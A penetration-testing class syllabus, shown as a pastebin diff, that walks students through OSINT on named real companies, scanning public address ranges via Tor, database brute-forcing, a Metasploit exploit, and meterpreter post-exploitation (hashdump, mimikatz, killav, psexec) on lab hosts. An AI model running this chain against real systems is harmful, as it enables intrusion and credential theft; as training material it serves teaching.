View difference between Paste ID: QqPP6ZKV and 4EEeEnXe
SHOW: | | - or go back to the newest paste.
1
########################################
2
# Ultimate Penetration Testing         #
3
# By Joe McCray of Strategic Security  #
4
########################################
5
6
7
8
#########################
9
# Class Virtual Machine #
10
#########################
11
12
13
Here is the VMWare virtual machine for the class:
14
 
15
https://s3-us-west-2.amazonaws.com/infosecaddicts/InfoSecAddictsVM.zip
16
user:      infosecaddicts
17
pass:      infosecaddicts
18
19
20
21
22
23
################
24
# Day 1: OSINT #
25
################
26
OK - it's time to get rollin!!!!!! I know that you are probably ready to scan the entire planet but I want you to do some Open Source Intelligence (OSINT) first. 
27
Here is an an OSINT report that I did for a customer of mine a few years ago:
28
https://s3.amazonaws.com/infosecaddicts-Files/OSINT_Innophos_11242010.doc
29
30
Let's see if you can do a better one than me....
31
32
33
Here are a few places to start:
34
35
- Wikipedia Page
36
    - Are they Public or Private?
37
    - Does the target have any subsidiaries?
38
 
39
- Robtex
40
    - Show system map
41
 
42
- Netcraft
43
    - http://toolbar.netcraft.com/site_report
44
 
45
- Passive Recon (Firefox Add-on)
46
47
48
49
50
Your first task:
51
----------------
52
Use the OSINT_Innophos doc as a reference and perform/document an OSINT assessment against any one of the following companies: 
53
NSA
54
HSBC
55
Coke
56
Exxon Mobil
57
KPMG
58
Accenture
59
NewYork-Presbyterian Hospital
60
Kroger
61
Dillard's
62
Royal Caribbean International
63
64
65
66
Tools that are good for OSINT:
67
------------------------------
68
Here are some tools that I think you should consider using for this challenge: 
69
FOCA
70
Maltego
71
Search Diggity
72
ShodanHQ
73
PassiveRecon
74
EDGAR
75
theHarvester
76
gxfr.py
77
VisualRoute
78
79
80
81
82
83
********************************** Begin Day 1 Homework Part 1 **********************************
84
NOTE: Creating this OSINT Report IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
85
86
87
You must create a MS WORD document titled 'FirstName-LastName-Ultimate-Pentesting-Day1-OSINT-Report.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-OSINT-Report.docx).
88
89
You must spell you name EXACTLY as you want it spelled on your class certificate.
90
91
IMPORTANT NOTE:
92
Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
93
94
95
********************************** End Day 1 Homework Part 1 **********************************
96
97
98
99
100
Email Harvesting
101
----------------
102
103
cd ~/toolz/
104
105
rm -rf theharvester-read-only/
106
107
sudo apt install -y python-pyasn1 python-pyasn1-modules
108
     infosecaddicts
109
110
git clone https://github.com/laramies/theHarvester.git
111
112
cd theHarvester/
113
114
python theHarvester.py
115
116
python theHarvester.py -d motorola.com -l 50 -b google
117
118
python theHarvester.py -d motorola.com -l 50 -b bing
119
120
python theHarvester.py -d motorola.com -l 50 -b linkedin
121
122
python theHarvester.py -d motorola.com -l 50 -b pgp
123
124
125
126
127
128
File Meta-Data Harvesting
129
-------------------------
130
cd ~/toolz/
131
132
sudo apt install -y python-pip
133
     infosecaddicts
134
135
sudo pip install google
136
     infosecaddicts
137
138
git clone https://github.com/opsdisk/metagoofil.git
139
140
cd metagoofil/
141
142
143
python metagoofil.py -d motorola.com -t doc,pdf -l 100 -n 3 -o motorolafiles
144
145
exiftool -r *.doc | egrep -i "Author|Creator|Email|Producer|Template" | sort -u
146
147
148
149
150
151
python metagoofil.py -d [domain name] -t doc,pdf -l 100 -n 3 -o motorolafiles
152
Whereas:
153
154
-d : I used another domain name aside from Google.com to make it work
155
-t : I asked for the program to search two types of public documents whuch are doc and pdf files
156
-l : I limited the search result to 100 to make the process faster
157
-n : I limited the downloads (files that are going to be downloaded to get their metadatas extracted) to only 3 to make the process faster
158
-o : I directed the result of the compilation t motorolafiles, which is a file located inside the metagoofil directory (~/toolz/metagoofil/motorolafiles)
159
-f : Save the html links to html_links_<TIMESTAMP>.txt file
160
161
162
163
164
165
166
Github Info Harvesting
167
----------------------
168
cd ~/toolz/
169
170
sudo pip install gitem
171
	infosecaddicts
172
173
gitem organization facebook
174
175
176
gitem repository facebook react
177
178
179
gitem --processes 4 user zpao
180
181
182
183
184
Network Topology Enumeration
185
----------------------------
186
187
cd ~/toolz/
188
189
wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/gxfr.py
190
191
python gxfr.py --bxfr --dns-lookup -o
192
	motorola.com
193
	[ press enter ]
194
	cw1kxyUgMdkECBNMb1fGqKJ9sC1lznaR20fPJeIt45Y=
195
196
197
198
199
cd ~/toolz/
200
201
rm -rf fierce2/
202
203
git clone https://github.com/mschwager/fierce.git
204
205
cd fierce
206
207
sudo apt install -y python3-pip
208
	infosecaddicts
209
210
sudo pip3 install -r requirements.txt
211
212
python3 fierce.py -h
213
214
python3 fierce.py --domain motorola.com --subdomains accounts admin ads
215
Traverse IPs near discovered domains to search for contiguous blocks with the --traverse flag:
216
217
python3 fierce.py --domain facebook.com --subdomains admin --traverse 10
218
219
220
Limit nearby IP traversal to certain domains with the --search flag:
221
222
python3 fierce.py --domain facebook.com --subdomains admin --search fb.com fb.net
223
224
225
Attempt an HTTP connection on domains discovered with the --connect flag:
226
227
python3 fierce.py --domain stackoverflow.com --subdomains mail --connect
228
229
230
231
232
233
234
Recon-NG (Metasploit for Recon):
235
--------------------------------
236
cd ~/toolz/
237
238
sudo apt install -y git python-pip python-dnspython python-mechanize python-slowaes python-xlsxwriter python-jsonrpclib python-lxml
239
	infosecaddicts
240
241
sudo pip install dicttoxml
242
	infosecaddicts
243
244
245
246
git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git
247
cd recon-ng
248
./recon-ng
249
250
251
252
At the prompt, let's type help in order to look at the commands we can use in Recon-ng.
253
254
recon-ng > help
255
256
257
Note that many of these commands are nearly identical to Metasploit including back, set, use, search, show, and unset.
258
259
recon-ng > [ TAB ] [ TAB ] 
260
261
262
263
To see all the modules in Recon-ng, we can type:
264
265
recon-ng > show [ TAB ] [ TAB ] 
266
267
268
269
Ok, let's drive this thing....
270
271
recon-ng > show banner
272
273
recon-ng > show companies
274
275
recon-ng > show contacts
276
277
recon-ng > show credentials
278
279
recon-ng > show dashboard
280
281
recon-ng > show domains
282
283
recon-ng > show hosts
284
285
recon-ng > show keys
286
287
recon-ng > show leaks
288
289
recon-ng > show locations
290
291
recon-ng > show modules
292
293
recon-ng > show netblocks
294
295
recon-ng > show options
296
297
recon-ng > show ports
298
299
recon-ng > show profiles
300
301
recon-ng > show pushpins
302
303
recon-ng > show repositories
304
305
recon-ng > show schema
306
307
recon-ng > show vulnerabilities
308
309
recon-ng > show workspaces
310
311
312
313
314
315
When you have found a module that you would like to try the process is fairly straight forward.
316
317
Type, “use [Modulename]” to use the module
318
319
Type, “show info” to view information about the module
320
321
And then, “show options” to see what variables can be set
322
323
Set the option variables with “set [variable]”
324
325
Finally, type “run” to execute the module
326
327
328
329
330
331
332
********************************** Begin Day 1 Homework Part 2 **********************************
333
NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
334
335
336
You must take screenshots of the process of you registering at least 5 API keys, as well as screenshots of you using at least 10 Recon-NG modules against a target company.
337
338
339
You must create a MS WORD document titled 'FirstName-LastName-Pentester-Ultimate-Pentesting-Day1-Recon-NG.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-Recon-NG.docx).
340
341
You must spell you name EXACTLY as you want it spelled on your class certificate.
342
343
344
Reference links:
345
http://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-part-1-getting-started-0169854/
346
http://resources.infosecinstitute.com/basic-updated-guide-to-recon-ng-plus-new-modules-rundown/
347
348
IMPORTANT NOTE:
349
Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
350
351
********************************** End Day 1 Homework Part 2 **********************************
352
353
354
355
356
########################
357
# Scanning Methodology #
358
########################
359
 
360
- Ping Sweep
361
What's alive?
362
------------
363
sudo nmap -sP 157.166.226.*
364
     infosecaddicts
365
 
366
    -if -SP yields no results try:
367
368
sudo nmap -sL 157.166.226.*
369
     infosecaddicts
370
 
371
sudo nmap -sL 157.166.226.* | grep com
372
     infosecaddicts
373
374
- Port Scan
375
What's where?
376
------------
377
sudo nmap -sS 162.243.126.247
378
     infosecaddicts
379
 
380
 
381
- Bannergrab/Version Query
382
What versions of software are running
383
-------------------------------------
384
sudo nmap -sV 162.243.126.247
385
     infosecaddicts
386
 
387
 
388
- Vulnerability Research
389
Lookup the banner versions for public exploits
390
----------------------------------------------
391
http://exploit-db.com
392
http://securityfocus.com/bid
393
https://packetstormsecurity.com/files/tags/exploit/
394
 
395
 
396
 
397
#######################################################
398
# Day 1: 3rd Party Scanning, and scanning via proxies #
399
#######################################################
400
 
401
https://www.shodan.io/
402
 
403
    Create a FREE account and login
404
 
405
    net:129.188.8.0/24
406
 
407
 
408
 
409
cd /home/infosecaddicts/toolz/
410
perl proxyfinder-0.3.pl multiproxy 3 proxies.txt    <-- This takes a long time to run
411
 
412
 
413
 
414
sudo vi /etc/proxychains.conf               <--- Make sure that last line of the file is: socks4  127.0.0.1 9050
415
     infosecaddicts
416
 
417
 
418
 
419
 
420
----------------------------------------------------------------------
421
vi ~/toolz/fix-proxychains-dns.sh
422
 
423
#!/bin/bash
424
# This script is called by proxychains to resolve DNS names
425
# DNS server used to resolve names
426
# Reference: http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.html
427
DNS_SERVER=4.2.2.2
428
 
429
if [ $# = 0 ] ; then
430
echo " usage:"
431
echo " proxyresolv <hostname> "
432
exit
433
fi
434
 
435
export LD_PRELOAD=libproxychains.so.3
436
dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'
437
-----------------------------------------------------------------------
438
 
439
 
440
sudo ntpdate pool.ntp.org
441
     infosecaddicts
442
 
443
tor-resolve infosecaddicts.com
444
 
445
proxychains nmap -sT -p80 162.243.126.247
446
 
447
proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 162.243.126.247
448
449
450
451
452
453
454
455
#########################
456
# Playing with Nmap NSE #
457
#########################
458
 
459
nmap -Pn -p80 --script ip-geolocation-* infosecaddicts.com
460
 
461
nmap -p80 --script dns-brute infosecaddicts.com
462
 
463
nmap --script http-robtex-reverse-ip secore.info
464
 
465
nmap -Pn -p80 --script=http-headers infosecaddicts.com
466
 
467
 
468
ls /usr/share/nmap/scripts | grep http
469
nmap -Pn -p80 --script=http-* infosecaddicts.com
470
471
472
473
 
474
#####################################
475
# Writing Your Own Nmap NSE Scripts #
476
#####################################
477
478
 
479
----------------------------------------------------------------------
480
sudo vi /usr/share/nmap/scripts/intro-nse.nse
481
 
482
-- The Head Section --
483
-- The Rule Section --
484
portrule = function(host, port)
485
    return port.protocol == "tcp"
486
            and port.number == 80
487
            and port.state == "open"
488
end
489
 
490
-- The Action Section --
491
action = function(host, port)
492
    return "Ultimate Pentesting!"
493
end
494
----------------------------------------------------------------------
495
 
496
- Ok, now that we've made that change let's run the script
497
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
498
 
499
 
500
 
501
 
502
 
503
 
504
----------------------------------------------------------------------
505
sudo vi /usr/share/nmap/scripts/intro-nse.nse
506
 
507
-- The Head Section --
508
local shortport = require "shortport"
509
 
510
-- The Rule Section --
511
portrule = shortport.http
512
 
513
 
514
-- The Action Section --
515
action = function(host, port)
516
    return "Ultimate Pentesting!"
517
end
518
----------------------------------------------------------------------
519
 
520
- Ok, now that we've made that change let's run the script
521
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
522
 
523
 
524
 
525
 
526
 
527
 
528
 
529
OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year.
530
 
531
----------------------------------------------------------------------
532
sudo vi /usr/share/nmap/scripts/intro-nse.nse
533
 
534
-- The Head Section --
535
local shortport = require "shortport"
536
local http = require "http"
537
 
538
-- The Rule Section --
539
portrule = shortport.http
540
 
541
-- The Action Section --
542
action = function(host, port)
543
 
544
    local uri = "/installing-metasploit-in-ubunt/"
545
    local response = http.get(host, port, uri)
546
    return response.status
547
 
548
end
549
----------------------------------------------------------------------
550
 
551
- Ok, now that we've made that change let's run the script
552
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
553
 
554
 
555
 
556
 
557
----------------------------------------------------------------------
558
sudo vi /usr/share/nmap/scripts/intro-nse.nse
559
 
560
-- The Head Section --
561
local shortport = require "shortport"
562
local http = require "http"
563
 
564
-- The Rule Section --
565
portrule = shortport.http
566
 
567
-- The Action Section --
568
action = function(host, port)
569
 
570
    local uri = "/installing-metasploit-in-ubunt/"
571
    local response = http.get(host, port, uri)
572
 
573
    if ( response.status == 200 ) then
574
        return response.body
575
    end
576
 
577
end
578
----------------------------------------------------------------------
579
 
580
- Ok, now that we've made that change let's run the script
581
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
582
 
583
 
584
 
585
 
586
 
587
 
588
 
589
 
590
 
591
----------------------------------------------------------------------
592
sudo vi /usr/share/nmap/scripts/intro-nse.nse
593
 
594
-- The Head Section --
595
local shortport = require "shortport"
596
local http = require "http"
597
local string = require "string"
598
 
599
-- The Rule Section --
600
portrule = shortport.http
601
 
602
-- The Action Section --
603
action = function(host, port)
604
 
605
    local uri = "/installing-metasploit-in-ubunt/"
606
    local response = http.get(host, port, uri)
607
 
608
    if ( response.status == 200 ) then
609
        local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
610
        return title
611
    end
612
 
613
end
614
----------------------------------------------------------------------
615
 
616
- Ok, now that we've made that change let's run the script
617
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
618
 
619
 
620
 
621
 
622
 
623
 
624
 
625
----------------------------------------------------------------------
626
sudo vi /usr/share/nmap/scripts/intro-nse.nse
627
 
628
-- The Head Section --
629
local shortport = require "shortport"
630
local http = require "http"
631
local string = require "string"
632
 
633
-- The Rule Section --
634
portrule = shortport.http
635
 
636
-- The Action Section --
637
action = function(host, port)
638
 
639
    local uri = "/installing-metasploit-in-ubunt/"
640
    local response = http.get(host, port, uri)
641
 
642
    if ( response.status == 200 ) then
643
        local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
644
 
645
        if (title) then
646
            return "Vulnerable"
647
        else
648
            return "Not Vulnerable"
649
        end
650
    end
651
end
652
 
653
----------------------------------------------------------------------
654
 
655
- Ok, now that we've made that change let's run the script
656
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
657
658
659
660
********************************** Begin Day 1 Homework Part 3 **********************************
661
NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
662
663
You must take screenshots of you performing all of the scanning tasks that we have done so far today
664
665
You must create a MS WORD document titled 'FirstName-LastName-Pentester-Ultimate-Pentesting-Day1-Adv-Scanning.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-Adv-Scanning.docx).
666
667
You must spell you name EXACTLY as you want it spelled on your class certificate.
668
669
IMPORTANT NOTE:
670
Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
671
672
********************************** End Day 1 Homework Part 3 **********************************
673
674
675
676
677
678
679
680
681
682
683
##########
684
# Day 2: #
685
##########
686
687
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
688
Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack. 
689
If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
690
691
So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
692
https://s3.amazonaws.com/infosecaddicts-Files/Strategic-Security-2016-VPN-Info.pdf 
693
694
sudo nmap -sP 10.0.0.0/24
695
     infosecaddicts
696
697
sudo nmap -sL 10.0.0.0/24
698
     infosecaddicts
699
700
cd ~/toolz
701
702
wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
703
704
gcc ipcrawl.c -o ipcrawl
705
706
chmod 777 ipcrawl
707
708
./ipcrawl 10.0.0.1 10.0.0.254
709
710
711
712
wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
713
714
gcc propecia.c -o propecia
715
716
sudo cp propecia /bin
717
     infosecaddicts
718
719
propecia 10.0.0 22
720
721
propecia 10.0.0 3389
722
723
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open
724
725
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 " " $3}'
726
727
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | wc -l
728
729
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'
730
731
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
732
733
#################################################
734
# Screenshotting the Web Servers in the Network #
735
#################################################
736
cd ~/toolz/
737
mkdir labscreenshots
738
cd labscreenshots/
739
 
740
 
741
wget http://download.gna.org/wkhtmltopdf/0.12/0.12.4/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
742
tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
743
cd wkhtmltox/bin/
744
sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386
745
 
746
 
747
cd ~/toolz/
748
git clone git://github.com/SpiderLabs/Nmap-Tools.git
749
cd Nmap-Tools/NSE/
750
sudo cp http-screenshot.nse /usr/share/nmap/scripts/
751
     infosecaddicts
752
 
753
sudo nmap --script-updatedb
754
     infosecaddicts
755
 
756
 
757
cd ~/toolz/labscreenshots/
758
sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL /home/infosecaddicts/labnet-ip-list.txt
759
     infosecaddicts
760
 
761
 
762
 
763
 
764
vi screenshots.sh
765
 
766
#!/bin/bash
767
printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html
768
ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
769
printf "</BODY></HTML>" >> labnet-port-80-screenshots.html
770
 
771
 
772
 
773
 
774
 
775
sh screenshots.sh
776
777
778
779
780
##########################
781
# Nmap NSE tricks to try #
782
##########################
783
sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.0/24
784
     infosecaddicts
785
786
sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24
787
     infosecaddicts
788
789
sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24
790
     infosecaddicts
791
792
sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.0/24
793
     infosecaddicts
794
795
sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.0.0.0/24
796
     infosecaddicts
797
798
sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.0.0.0/24
799
     infosecaddicts
800
801
sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24
802
     infosecaddicts
803
804
sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.0.0.0/24
805
     infosecaddicts
806
807
sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.0.0.0/24
808
     infosecaddicts
809
810
sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 10.0.0.0/24
811
     infosecaddicts
812
813
sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24
814
     infosecaddicts
815
816
sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
817
     infosecaddicts
818
819
820
sudo nmap -sV -oA nse --script-args=unsafe=1 --script-args=unsafe  --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" 10.0.0.0/24
821
     infosecaddicts
822
823
824
825
826
827
828
829
830
##########
831
# Day 3: #
832
##########
833
834
mkdir ~/toolz/wordlists
835
cd ~/toolz/wordlists
836
echo dbo >> users.txt
837
echo sa >> users.txt
838
echo admin >> users.txt
839
echo root >> users.txt
840
echo password >> pass.txt
841
echo pass >> pass.txt
842
echo hello >> pass.txt
843
echo goodbye >> pass.txt
844
echo test >> pass.txt
845
echo admin >> pass.txt
846
echo db >> pass.txt
847
echo god >> pass.txt
848
echo 123 >> pass.txt
849
echo letmein >> pass.txt
850
851
852
853
854
855
856
#######################
857
# Attacking Databases #
858
#######################
859
Attacking MySQL with Metasploit
860
-------------------------------
861
cd ~/toolz/metasploit
862
863
./msfconsole
864
865
use auxiliary/scanner/mysql/mysql_version
866
set RHOSTS 10.0.0.59
867
run
868
869
use auxiliary/scanner/mysql/mysql_login
870
set RHOSTS 10.0.0.59
871
set USER_FILE /home/infosecaddicts/toolz/wordlists/users.txt
872
set PASS_FILE /home/infosecaddicts/toolz/wordlists/pass.txt
873
run
874
875
use auxiliary/admin/mysql/mysql_enum
876
set RHOST 10.0.0.59
877
set USERNAME root
878
run
879
880
use auxiliary/scanner/mysql/mysql_hashdump
881
set RHOSTS 10.0.0.59
882
set USERNAME root
883
run
884
885
exit -y
886
887
888
$ mysql -h 10.0.0.59 -u root -p
889
show databases;
890
891
892
893
894
895
Attacking Postgres with Metasploit
896
----------------------------------
897
cd ~/toolz/metasploit
898
899
./msfconsole
900
901
use auxiliary/scanner/postgres/postgres_login
902
set RHOSTS 10.0.0.59
903
run
904
905
906
907
908
Identifying MSSQL Server
909
-----------------------
910
911
propecia 10.0.0 1433
912
913
914
915
916
Determine the Version
917
---------------------
918
919
nmap -sV -p 1433 10.0.0.9
920
nmap -sV -p 1433 --script=ms-sql-info 10.0.0.9
921
922
923
924
Bruteforcing MSSQL
925
------------------
926
927
nmap -p1433 --script ms-sql-empty-password 10.0.0.9
928
929
 
930
mkdir ~/toolz/wordlists
931
cd ~/toolz/wordlists
932
echo dbo >> customuser.txt
933
echo sa >> customuser.txt
934
echo admin >> customuser.txt
935
echo password >> custompass.txt
936
echo pass >> custompass.txt
937
echo hello >> custompass.txt
938
echo goodbye >> custompass.txt
939
echo test >> custompass.txt
940
echo admin >> custompass.txt
941
echo db >> custompass.txt
942
echo god >> custompass.txt
943
echo 123 >> custompass.txt
944
echo letmein >> custompass.txt
945
echo database!23 >> custompass.txt
946
947
948
949
950
nmap -sV -p 1433 --script=ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt 10.0.0.9
951
952
953
954
Extracting Data From MSSQL
955
-------------------------
956
nmap -sV -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
957
958
nmap -p1433 --script ms-sql-hasdbaccess.nse --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
959
960
nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
961
962
nmap -p1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
963
964
nmap -p1433 --script ms-sql-xp-cmdshell --script-args=ms-sql-xp-cmdshell.cmd='net users',mssql.username=sa,mssql.password=database\!23 10.0.0.9
965
966
nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
967
968
969
970
971
972
973
Attacking MSSQL Server With Metasploit
974
--------------------------------------
975
cd ~/toolz/metasploit
976
977
./msfconsole
978
979
use auxiliary/admin/mssql/mssql_sql
980
981
show options
982
983
set RHOST 10.0.0.9
984
985
set username sa
986
987
set password database!23
988
989
exploit
990
991
992
993
994
995
996
997
998
999
use auxiliary/admin/mssql/mssql_enum
1000
1001
show options
1002
1003
set RHOST 10.0.0.9
1004
1005
set username sa
1006
1007
set password database!23
1008
1009
exploit
1010
1011
1012
1013
1014
1015
use auxiliary/admin/mssql/mssql_exec
1016
1017
show options
1018
1019
set RHOST 10.0.0.9
1020
1021
set password database!23
1022
1023
set CMD cmd.exe /c ping localhost
1024
1025
exploit
1026
1027
1028
1029
1030
1031
1032
################################
1033
# Attacking Big Data Solutions #
1034
################################
1035
1036
propecia 10.0.0 27017
1037
1038
1039
sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
1040
     infosecaddicts
1041
1042
1043
1044
1045
Big Data is quite the buzzword in our industry and MongoDB is one of the more popular Big Data solutions on the market.
1046
There are others like CouchDB, and Cassandra, but for right now let's play with MongoDB.
1047
1048
One of the huge red flags with MongoDB is that its default configuration it has no user authentication, and no permissions.
1049
1050
1051
1052
sudo apt install -y git python-setuptools
1053
1054
cd ~/toolz
1055
1056
mkdir arsenal
1057
1058
cd arsenal
1059
1060
git clone https://github.com/tcstool/nosqlmap.git
1061
1062
cd nosqlmap
1063
1064
sudo python setup.py install
1065
     infosecaddicts
1066
1067
python nosqlmap.py
1068
1069
1					(set options)
1070
	10.0.0.59			(set target IP)
1071
1072
1073
7	<your IP>			(set attacker host ip)
1074
1075
1076
x					(back to main menu)
1077
1078
2					(DB access attack option)
1079
1080
1081
1					(Get server info)
1082
1083
1084
2					(Enumerate Databases/Collections/Users)
1085
1086
1087
3					(Check for GridFS)
1088
					GridFS is a specification for storing and retrieving files that exceed the BSON-document size limit of 16MB. Instead of storing a file in a single document, GridFS divides a file into parts, or chunks [1], and stores each chunk as a separate document
1089
1090
1091
1092
1093
1094
Other attack options such as clone a database will require you to have a local copy of MongoDB installed, and the Metasploit attack is for too old of a version ( < 2.2.4 ).
1095
1096
1097
1098
1099
1100
1101
####################################
1102
# Finally, let's exploit something #
1103
####################################
1104
1105
nmap -Pn -sV -T 5 -oG - -p 80,8080 10.0.0.* | awk '/open/{print $2}'
1106
1107
nmap -Pn -sV -T 5 -p 80,8080 10.0.0.15
1108
1109
	https://www.exploit-db.com/search
1110
1111
	Search for:
1112
	Savant httpd 3.1
1113
	Apache httpd 2.0.58 ((Win32))
1114
1115
1116
	Found one written in Python:
1117
	https://www.exploit-db.com/exploits/18401/
1118
1119
	Found one for Savant 3.1 from Metasploit:
1120
	https://www.exploit-db.com/exploits/16770/
1121
1122
1123
1124
cd ~/toolz/metasploit
1125
./msfconsole
1126
use exploit/windows/http/savant_31_overflow
1127
set RHOST 10.0.0.15
1128
set PAYLOAD windows/meterpreter/bind_nonx_tcp
1129
set RPORT 80
1130
set LPORT 7777
1131
exploit
1132
1133
1134
1135
1136
1137
1138
********************************** Figure out who and where you are **********************************
1139
 
1140
meterpreter> sysinfo
1141
 
1142
 
1143
meterpreter> getuid
1144
 
1145
 
1146
meterpreter> ipconfig
1147
 
1148
 
1149
meterpreter> run post/windows/gather/checkvm
1150
 
1151
 
1152
meterpreter> run get_local_subnets
1153
 
1154
 
1155
 
1156
********************************** Escalate privileges and get hashes **********************************
1157
 
1158
 
1159
meterpreter> use priv
1160
 
1161
 
1162
1163
meterpreter > getsystem
1164
...got system (via technique 1).
1165
1166
meterpreter > getuid
1167
Server username: NT AUTHORITY\SYSTEM
1168
 
1169
--------------------------------------------------------
1170
 
1171
meterpreter> run killav
1172
 
1173
meterpreter> run post/windows/gather/hashdump
1174
	
1175
	Got the following admin hash:
1176
	Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363:::
1177
1178
meterpreter> run post/windows/gather/credentials/credential_collector
1179
 
1180
meterpreter > load mimikatz
1181
 
1182
meterpreter > kerberos
1183
1184
	This should give me the administrative password:
1185
	)K5?Jocb(Yx 
1186
1187
 
1188
********************************** Enumerate the host you are on **********************************
1189
 
1190
meterpreter> run winenum
1191
 
1192
meterpreter > run post/windows/gather/enum_applications
1193
 
1194
meterpreter > run post/windows/gather/enum_logged_on_users
1195
 
1196
meterpreter > run post/windows/gather/usb_history
1197
 
1198
meterpreter > run post/windows/gather/enum_shares
1199
 
1200
meterpreter > run post/windows/gather/enum_snmp
1201
 
1202
meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
1203
 
1204
 
1205
********************************** Get out of Meterpreter **********************************
1206
 
1207
meterpreter> background
1208
1209
msf exploit(savant_31_overflow) > back
1210
1211
msf>
1212
1213
 
1214
 
1215
 
1216
********************************** Lateral Movement *******************************
1217
 
1218
 
1219
Now we can run the PSEXEC exploit.
1220
1221
-- Option 1:
1222
use exploit/windows/smb/psexec
1223
 
1224
set SMBUser Administrator
1225
 
1226
set SMBPass )K5?Jocb(Yx
1227
 
1228
set RHOST 10.0.0.15
1229
 
1230
